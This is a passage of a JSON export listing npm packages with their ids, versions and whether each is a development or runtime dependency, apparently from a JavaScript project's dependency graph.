velopment","optional":false},{"id":6994684754,"package_name":"@esbuild","ecosystem":"npm","requirements":"win32-arm64","direct":false,"kind":"development","optional":false},{"id":6994684755,"package_name":"@esbuild","ecosystem":"npm","requirements":"win32-ia32","direct":false,"kind":"development","optional":false},{"id":6994684756,"package_name":"@esbuild","ecosystem":"npm","requirements":"win32-x64","direct":false,"kind":"development","optional":false},{"id":6994684757,"package_name":"@eslint","ecosystem":"npm","requirements":"eslintrc","direct":false,"kind":"development","optional":false},{"id":6994684758,"package_name":"@humanwhocodes","ecosystem":"npm","requirements":"config-array","direct":false,"kind":"development","optional":false},{"id":6994684759,"package_name":"@humanwhocodes","ecosystem":"npm","requirements":"module-importer","direct":false,"kind":"development","optional":false},{"id":6994684760,"package_name":"@humanwhocodes","ecosystem":"npm","requirements":"object-schema","direct":false,"kind":"development","optional":false},{"id":6994684761,"package_name":"@istanbuljs","ecosystem":"npm","requirements":"schema","direct":false,"kind":"development","optional":false},{"id":6994684762,"package_name":"@jridgewell","ecosystem":"npm","requirements":"gen-mapping","direct":false,"kind":"development","optional":false},{"id":6994684763,"package_name":"@jridgewell","ecosystem":"npm","requirements":"resolve-uri","direct":false,"kind":"development","optional":false},{"id":6994684764,"package_name":"@jridgewell","ecosystem":"npm","requirements":"set-array","direct":false,"kind":"development","optional":false},{"id":6994684765,"package_name":"@jridgewell","ecosystem":"npm","requirements":"sourcemap-codec","direct":false,"kind":"development","optional":false},{"id":6994684766,"package_name":"@jridgewell","ecosystem":"npm","requirements":"trace-mapping","direct":false,"kind":"development","optional":false},{"id":6994684767,"package_name":"@nodelib","ecosystem":"npm","requirements":"fs.scandir","direct":false,"kind":"development","optional":false},{"id":6994684768,"package_name":"@nodelib","ecosystem":"npm","requirements":"fs.stat","direct":false,"kind":"development","optional":false},{"id":6994684769,"package_name":"@nodelib","ecosystem":"npm","requirements":"fs.walk","direct":false,"kind":"development","optional":false},{"id":6994684770,"package_name":"@pkgr","ecosystem":"npm","requirements":"utils","direct":false,"kind":"development","optional":false},{"id":6994684771,"package_name":"@rollup","ecosystem":"npm","requirements":"plugin-alias","direct":false,"kind":"development","optional":false},{"id":6994684772,"package_name":"@rollup","ecosystem":"npm","requirements":"plugin-commonjs","direct":false,"kind":"development","optional":false},{"id":6994684773,"package_name":"@rollup","ecosystem":"npm","requirements":"plugin-json","direct":false,"kind":"development","optional":false},{"id":6994684774,"package_name":"@rollup","ecosystem":"npm","requirements":"plugin-node-resolve","direct":false,"kind":"development","optional":false},{"id":6994684775,"package_name":"@rollup","ecosystem":"npm","requirements":"plugin-replace","direct":false,"kind":"development","optional":false},{"id":6994684776,"package_name":"@rollup","ecosystem":"npm","requirements":"pluginutils","direct":false,"kind":"development","optional":false},{"id":6994684777,"package_name":"@types","ecosystem":"npm","requirements":"body-parser","direct":false,"kind":"development","optional":false},{"id":6994684778,"package_name":"@types","ecosystem":"npm","requirements":"chai-subset","direct":false,"kind":"development","optional":false},{"id":6994684779,"package_name":"@types","ecosystem":"npm","requirements":"chai","direct":false,"kind":"development","optional":false},{"id":6994684780,"package_name":"@types","ecosystem":"npm","requirements":"connect","direct":false,"kind":"development","optional":false},{"id":6994684781,"package_name":"@types","ecosystem":"npm","requirements":"cookiejar","direct":false,"kind":"development","optional":false},{"id":6994684782,"package_name":"@types","ecosystem":"npm","requirements":"estree","direct":false,"kind":"development","optional":false},{"id":6994684783,"package_name":"@types","ecosystem":"npm","requirements":"express-serve-static-core","direct":false,"kind":"development","optional":false},{"id":6994684784,"package_name":"@types","ecosystem":"npm","requirements":"express","direct":false,"kind":"development","optional":false},{"id":6994684785,"package_name":"@types","ecosystem":"npm","requirements":"istanbul-lib-coverage","direct":false,"kind":"development","optional":false},{"id":6994684786,"package_name":"@types","ecosystem":"npm","requirements":"json-schema","direct":false,"kind":"development","optional":false},{"id":6994684787,"package_name":"@types","ecosystem":"npm","requirements":"json5","direct":false,"kind":"development","optional":false},{"id":6994684788,"package_name":"@types","ecosystem":"npm","requirements":"mime","direct":false,"kind":"development","optional":false},{"id":6994684789,"package_name":"@types","ecosystem":"npm","requirements":"node","direct":false,"kind":"development","optional":false},{"id":6994684790,"package_name":"@types","ecosystem":"npm","requirements":"normalize-package-data","direct":false,"kind":"development","optional":false},{"id":6994684791,"package_name":"@types","ecosystem":"npm","requirements":"qs","direct":false,"kind":"development","optional":false},{"id":6994684792,"package_name":"@types","ecosystem":"npm","requirements":"range-parser","direct":false,"kind":"development","optional":false},{"id":6994684793,"package_name":"@types","ecosystem":"npm","requirements":"resolve","direct":false,"kind":"development","optional":false},{"id":6994684794,"package_name":"@types","ecosystem":"npm","requirements":"serve-static","direct":false,"kind":"development","optional":false},{"id":6994684795,"package_name":"@types","ecosystem":"npm","requirements":"superagent","direct":false,"kind":"development","optional":false},{"id":6994684796,"package_name":"@types","ecosystem":"npm","requirements":"supertest","direct":false,"kind":"development","optional":false},{"id":6994684797,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"eslint-plugin","direct":false,"kind":"development","optional":false},{"id":6994684798,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"parser","direct":false,"kind":"development","optional":false},{"id":6994684799,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"scope-manager","direct":false,"kind":"development","optional":false},{"id":6994684800,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"type-utils","direct":false,"kind":"development","optional":false},{"id":6994684801,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"types","direct":false,"kind":"development","optional":false},{"id":6994684802,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"typescript-estree","direct":false,"kind":"development","optional":false},{"id":6994684803,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"utils","direct":false,"kind":"development","optional":false},{"id":6994684804,"package_name":"@typescript-eslint","ecosystem":"npm","requirements":"visitor-keys","direct":false,"kind":"development","optional":false},{"id":6994684805,"package_name":"@vitest","ecosystem":"npm","requirements":"coverage-c8","direct":false,"kind":"development","optional":false},{"id":6994684806,"package_name":"JSONStream","ecosystem":"npm","requirements":"1.3.5","direct":false,"kind":"development","optional":false},{"id":6994684807,"package_name":"accepts","ecosystem":"npm","requirements":"1.3.8","direct":false,"kind":"development","optional":false},{"id":6994684808,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2_acorn@8.8.1","direct":false,"kind":"development","optional":false},{"id":6994684809,"package_name":"acorn-node","ecosystem":"npm","requirements":"1.8.2","direct":false,"kind":"development","optional":false},{"id":6994684810,"package_name":"acorn-walk","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":6994684811,"package_name":"acorn-walk","ecosystem":"npm","requirements":"8.2.0","direct":false,"kind":"development","optional":false},{"id":6994684812,"package_name":"acorn","ecosystem":"npm","requirements":"7.4.1","direct":false,"kind":"development","optional":false},{"id":6994684813,"package_name":"acorn","ecosystem":"npm","requirements":"8.8.1","direct":false,"kind":"development","optional":false},{"id":6994684814,"package_name":"ajv","ecosystem":"npm","requirements":"6.12.6","direct":false,"kind":"development","optional":false},{"id":6994684815,"package_name":"ajv","ecosystem":"npm","requirements":"8.10.0","direct":false,"kind":"development","optional":false},{"id":6994684816,"package_name":"ansi-regex","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994684817,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":6994684818,"package_name":"ansi-styles","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"development","optional":false},{"id":6994684819,"package_name":"ansi-styles","ecosystem":"npm","requirements":"3.2.1","direct":false,"kind":"development","optional":false},{"id":6994684820,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":6994684821,"package_name":"arch","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":6994684822,"package_name":"argparse","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994684823,"package_name":"array-flatten","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994684824,"package_name":"array-includes","ecosystem":"npm","requirements":"3.1.4","direct":false,"kind":"development","optional":false},{"id":6994684825,"package_name":"array-union","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994684826,"package_name":"array.prototype.flat","ecosystem":"npm","requirements":"1.2.5","direct":false,"kind":"development","optional":false},{"id":6994684827,"package_name":"asap","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":6994684828,"package_name":"asn1.js","ecosystem":"npm","requirements":"5.4.1","direct":false,"kind":"development","optional":false},{"id":6994684829,"package_name":"assert","ecosystem":"npm","requirements":"1.5.0","direct":false,"kind":"development","optional":false},{"id":6994684830,"package_name":"assertion-error","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994684831,"package_name":"asynckit","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":6994684832,"package_name":"autocannon","ecosystem":"npm","requirements":"7.10.0","direct":false,"kind":"development","optional":false},{"id":6994684833,"package_name":"available-typed-arrays","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":6994684834,"package_name":"balanced-match","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994684835,"package_name":"base64-js","ecosystem":"npm","requirements":"1.5.1","direct":false,"kind":"development","optional":false},{"id":6994684836,"package_name":"bn.js","ecosystem":"npm","requirements":"4.12.0","direct":false,"kind":"development","optional":false},{"id":6994684837,"package_name":"bn.js","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":6994684838,"package_name":"body-parser","ecosystem":"npm","requirements":"1.20.1","direct":false,"kind":"development","optional":false},{"id":6994684839,"package_name":"brace-expansion","ecosystem":"npm","requirements":"1.1.11","direct":false,"kind":"development","optional":false},{"id":6994684840,"package_name":"brace-expansion","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994684841,"package_name":"braces","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":6994684842,"package_name":"brorand","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994684843,"package_name":"browser-pack","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"development","optional":false},{"id":6994684844,"package_name":"browser-process-hrtime","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"development","optional":false},{"id":6994684845,"package_name":"browser-resolve","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684846,"package_name":"browserify-aes","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994684847,"package_name":"browserify-cipher","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994684848,"package_name":"browserify-des","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994684849,"package_name":"browserify-rsa","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":6994684850,"package_name":"browserify-sign","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":6994684851,"package_name":"browserify-zlib","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"development","optional":false},{"id":6994684852,"package_name":"browserify","ecosystem":"npm","requirements":"17.0.0","direct":false,"kind":"development","optional":false},{"id":6994684853,"package_name":"browserslist","ecosystem":"npm","requirements":"4.21.4","direct":false,"kind":"development","optional":false},{"id":6994684854,"package_name":"buffer-from","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994684855,"package_name":"buffer-xor","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994684856,"package_name":"buffer","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"development","optional":false},{"id":6994684857,"package_name":"builtin-modules","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":6994684858,"package_name":"builtin-status-codes","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994684859,"package_name":"builtins","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":6994684860,"package_name":"bytes","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":6994684861,"package_name":"c12","ecosystem":"npm","requirements":"0.2.13","direct":false,"kind":"development","optional":false},{"id":6994684862,"package_name":"c8","ecosystem":"npm","requirements":"7.12.0","direct":false,"kind":"development","optional":false},{"id":6994684863,"package_name":"cac","ecosystem":"npm","requirements":"6.7.14","direct":false,"kind":"development","optional":false},{"id":6994684864,"package_name":"cached-path-relative","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994684865,"package_name":"call-bind","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994684866,"package_name":"callsites","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":6994684867,"package_name":"camel-case","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994684868,"package_name":"caniuse-lite","ecosystem":"npm","requirements":"1.0.30001434","direct":false,"kind":"development","optional":false},{"id":6994684869,"package_name":"chai","ecosystem":"npm","requirements":"4.3.7","direct":false,"kind":"development","optional":false},{"id":6994684870,"package_name":"chalk","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994684871,"package_name":"chalk","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"development","optional":false},{"id":6994684872,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":6994684873,"package_name":"chalk","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":6994684874,"package_name":"changelogen","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":6994684875,"package_name":"char-spinner","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994684876,"package_name":"check-error","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994684877,"package_name":"chownr","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":6994684878,"package_name":"ci-info","ecosystem":"npm","requirements":"3.3.2","direct":false,"kind":"development","optional":false},{"id":6994684879,"package_name":"cipher-base","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994684880,"package_name":"clean-regexp","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994684881,"package_name":"cli-table3","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"development","optional":false},{"id":6994684882,"package_name":"clipboardy","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994684883,"package_name":"cliui","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"development","optional":false},{"id":6994684884,"package_name":"code-point-at","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994684885,"package_name":"color-convert","ecosystem":"npm","requirements":"1.9.3","direct":false,"kind":"development","optional":false},{"id":6994684886,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994684887,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994684888,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":6994684889,"package_name":"color-support","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994684890,"package_name":"colorette","ecosystem":"npm","requirements":"2.0.19","direct":false,"kind":"development","optional":false},{"id":6994684891,"package_name":"colors","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994684892,"package_name":"combine-source-map","ecosystem":"npm","requirements":"0.8.0","direct":false,"kind":"development","optional":false},{"id":6994684893,"package_name":"combined-stream","ecosystem":"npm","requirements":"1.0.8","direct":false,"kind":"development","optional":false},{"id":6994684894,"package_name":"commondir","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994684895,"package_name":"component-emitter","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":6994684896,"package_name":"concat-map","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":6994684897,"package_name":"concat-stream","ecosystem":"npm","requirements":"1.6.2","direct":false,"kind":"development","optional":false},{"id":6994684898,"package_name":"concat-stream","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684899,"package_name":"connect","ecosystem":"npm","requirements":"3.7.0","direct":false,"kind":"development","optional":false},{"id":6994684900,"package_name":"consola","ecosystem":"npm","requirements":"2.15.3","direct":false,"kind":"development","optional":false},{"id":6994684901,"package_name":"console-browserify","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994684902,"package_name":"constants-browserify","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994684903,"package_name":"content-disposition","ecosystem":"npm","requirements":"0.5.4","direct":false,"kind":"development","optional":false},{"id":6994684904,"package_name":"content-type","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994684905,"package_name":"convert-gitmoji","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"development","optional":false},{"id":6994684906,"package_name":"convert-source-map","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994684907,"package_name":"convert-source-map","ecosystem":"npm","requirements":"1.8.0","direct":false,"kind":"development","optional":false},{"id":6994684908,"package_name":"cookie-es","ecosystem":"npm","requirements":"0.5.0","direct":false,"kind":"runtime","optional":false},{"id":6994684909,"package_name":"cookie-signature","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":6994684910,"package_name":"cookie","ecosystem":"npm","requirements":"0.5.0","direct":false,"kind":"development","optional":false},{"id":6994684911,"package_name":"cookiejar","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"development","optional":false},{"id":6994684912,"package_name":"core-util-is","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":6994684913,"package_name":"create-ecdh","ecosystem":"npm","requirements":"4.0.4","direct":false,"kind":"development","optional":false},{"id":6994684914,"package_name":"create-hash","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994684915,"package_name":"create-hmac","ecosystem":"npm","requirements":"1.1.7","direct":false,"kind":"development","optional":false},{"id":6994684916,"package_name":"cross-argv","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684922,"package_name":"cross-spawn","ecosystem":"npm","requirements":"7.0.3","direct":false,"kind":"development","optional":false},{"id":6994684923,"package_name":"crypto-browserify","ecosystem":"npm","requirements":"3.12.0","direct":false,"kind":"development","optional":false},{"id":6994684927,"package_name":"d3-array","ecosystem":"npm","requirements":"2.12.1","direct":false,"kind":"development","optional":false},{"id":6994684928,"package_name":"d3-color","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":6994684929,"package_name":"d3-color","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684930,"package_name":"d3-dispatch","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":6994684931,"package_name":"d3-drag","ecosystem":"npm","requirements":"1.2.5","direct":false,"kind":"development","optional":false},{"id":6994684932,"package_name":"d3-ease","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":6994684933,"package_name":"d3-fg","ecosystem":"npm","requirements":"6.14.0","direct":false,"kind":"development","optional":false},{"id":6994685157,"package_name":"ip-regex","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":6994685158,"package_name":"ipaddr.js","ecosystem":"npm","requirements":"1.9.1","direct":false,"kind":"development","optional":false},{"id":6994685159,"package_name":"is-arguments","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994685160,"package_name":"is-arrayish","ecosystem":"npm","requirements":"0.2.1","direct":false,"kind":"development","optional":false},{"id":6994685161,"package_name":"is-bigint","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685162,"package_name":"is-boolean-attribute","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":6994685163,"package_name":"is-boolean-object","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":6994685164,"package_name":"is-buffer","ecosystem":"npm","requirements":"1.1.6","direct":false,"kind":"development","optional":false},{"id":6994685165,"package_name":"is-buffer","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":6994685166,"package_name":"is-builtin-module","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":6994685167,"package_name":"is-callable","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"development","optional":false},{"id":6994685168,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.10.0","direct":false,"kind":"development","optional":false},{"id":6994685169,"package_name":"is-date-object","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":6994685170,"package_name":"is-docker","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"development","optional":false},{"id":6994685171,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994685172,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685173,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685174,"package_name":"is-generator-function","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"development","optional":false},{"id":6994685175,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":6994685176,"package_name":"is-module","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685177,"package_name":"is-negative-zero","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":6994685178,"package_name":"is-number-object","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"development","optional":false},{"id":6994685179,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":6994685180,"package_name":"is-path-inside","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"development","optional":false},{"id":6994685181,"package_name":"is-reference","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":6994685182,"package_name":"is-regex","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":6994685183,"package_name":"is-shared-array-buffer","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994685184,"package_name":"is-stream","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994685185,"package_name":"is-stream","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685186,"package_name":"is-string","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":6994685187,"package_name":"is-symbol","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994685188,"package_name":"is-typed-array","ecosystem":"npm","requirements":"1.1.8","direct":false,"kind":"development","optional":false},{"id":6994685189,"package_name":"is-weakref","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":6994685190,"package_name":"is-wsl","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":6994685191,"package_name":"is-wsl","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":6994685192,"package_name":"isarray","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994685193,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994685195,"package_name":"istanbul-lib-coverage","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":6994685196,"package_name":"istanbul-lib-report","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994685198,"package_name":"istanbul-reports","ecosystem":"npm","requirements":"3.1.5","direct":false,"kind":"development","optional":false},{"id":6994684934,"package_name":"d3-format","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684935,"package_name":"d3-hierarchy","ecosystem":"npm","requirements":"1.1.9","direct":false,"kind":"development","optional":false},{"id":6994684936,"package_name":"d3-interpolate","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":6994684937,"package_name":"d3-interpolate","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994684938,"package_name":"d3-scale","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":6994684940,"package_name":"d3-selection","ecosystem":"npm","requirements":"1.4.2","direct":false,"kind":"development","optional":false},{"id":6994684941,"package_name":"d3-time-format","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994684943,"package_name":"d3-time","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":6994684946,"package_name":"d3-timer","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"development","optional":false},{"id":6994684947,"package_name":"d3-transition","ecosystem":"npm","requirements":"1.3.2","direct":false,"kind":"development","optional":false},{"id":6994684948,"package_name":"d3-zoom","ecosystem":"npm","requirements":"1.8.3","direct":false,"kind":"development","optional":false},{"id":6994684949,"package_name":"dash-ast","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994684950,"package_name":"debounce","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":6994684951,"package_name":"debug","ecosystem":"npm","requirements":"2.6.9","direct":false,"kind":"development","optional":false},{"id":6994684952,"package_name":"debug","ecosystem":"npm","requirements":"3.2.7","direct":false,"kind":"development","optional":false},{"id":6994684953,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"development","optional":false},{"id":6994684954,"package_name":"deep-eql","ecosystem":"npm","requirements":"4.1.3","direct":false,"kind":"development","optional":false},{"id":6994684955,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":6994684956,"package_name":"deepmerge","ecosystem":"npm","requirements":"4.2.2","direct":false,"kind":"development","optional":false},{"id":6994684957,"package_name":"define-lazy-prop","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684958,"package_name":"define-properties","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":6994684959,"package_name":"defined","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994684960,"package_name":"defu","ecosystem":"npm","requirements":"6.1.1","direct":false,"kind":"development","optional":false},{"id":6994684961,"package_name":"delayed-stream","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":6994684962,"package_name":"depd","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":6994684963,"package_name":"deps-sort","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":6994684964,"package_name":"des.js","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":6994684965,"package_name":"destr","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"runtime","optional":false},{"id":6994684966,"package_name":"destroy","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994684967,"package_name":"detective","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":6994684968,"package_name":"dezalgo","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":6994684969,"package_name":"diffie-hellman","ecosystem":"npm","requirements":"5.0.3","direct":false,"kind":"development","optional":false},{"id":6994684970,"package_name":"dir-glob","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":6994684971,"package_name":"doctrine","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":6994684972,"package_name":"doctrine","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":6994684973,"package_name":"domain-browser","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":6994684974,"package_name":"dotenv","ecosystem":"npm","requirements":"16.0.2","direct":false,"kind":"development","optional":false},{"id":6994684975,"package_name":"duplexer2","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":6994684976,"package_name":"duplexify","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":6994684977,"package_name":"ee-first","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":6994684978,"package_name":"electron-to-chromium","ecosystem":"npm","requirements":"1.4.284","direct":false,"kind":"development","optional":false},{"id":6994684979,"package_name":"elliptic","ecosystem":"npm","requirements":"6.5.4","direct":false,"kind":"development","optional":false},{"id":6994684980,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":6994684981,"package_name":"encodeurl","ecosystem":"